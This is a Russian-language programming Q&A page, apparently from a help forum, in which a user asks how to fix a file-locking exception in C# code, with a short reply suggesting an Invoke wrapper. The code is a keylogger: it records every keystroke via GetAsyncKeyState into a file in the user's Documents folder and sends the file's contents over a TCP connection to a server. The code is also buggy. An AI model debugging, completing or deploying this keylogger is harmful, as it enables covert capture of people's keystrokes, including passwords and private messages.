Процесс не может получить доступ к файлу, так как этот файл используется другим процессом - C# (187420)
Формулировка задачи:
Программа отправляет на сервер сообщение из файла(должна), но выдаёт исключение "Процесс не может получить доступ к файлу, так как этот файл используется другим процессом." Вот код
Как исправить ошибку?
Листинг программы
- class Program
- {
- [DllImport("user32.dll")]
- public static extern int GetAsyncKeyState(Int32 i);
- static void Main(string[] args)
- {
- new Thread(Server).Start();
- Starts();
- }
- //
- public static void Server()
- {
- TcpClient client = new TcpClient();
- client.Connect(new IPEndPoint(IPAddress.Parse("127.0.0.1"), 2200));
- //Здесь передаём данные серверу
- StreamReader srFile = new StreamReader("C:\\Users" + Environment.UserName + "\\Documents\\KeyLogs.txt");
- string[] str = new string[2024];
- string s = null;
- while ((s = srFile.ReadLine()) != null) {
- for(int i = 0; i < str.Length; i++)
- {
- str[i] = s;
- s = null;
- }
- }
- srFile.Close();
- StreamWriter sw = new StreamWriter(client.GetStream());
- sw.AutoFlush = true;
- for (int j = 0; j < str.Length; j++)
- {
- sw.WriteLine(str[j]);
- }
- }
- static void Starts()
- {
- while (true)
- {
- Thread.Sleep(10);
- for (Int32 i = 0; i < 255; i++)
- {
- int keyState = GetAsyncKeyState(i);
- if (keyState == 1 || keyState == -32767)
- {
- Console.WriteLine((Keys)i);
- string toStringKeys = Convert.ToString((Keys)i);
- File.AppendAllText("C:\\Users" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
- break;
- }
- }
- }
- }
- }
- }
Решение задачи: «Процесс не может получить доступ к файлу, так как этот файл используется другим процессом»
textual
Листинг программы
- Action syn = () =>
- {
- //Тут код который вызывает ошибку.
- // наверное это File.AppendAllText("C:\\Users" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
- };
- Invoke(syn)
ИИ поможет Вам:
- решить любую задачу по программированию
- объяснить код
- расставить комментарии в коде
- и т.д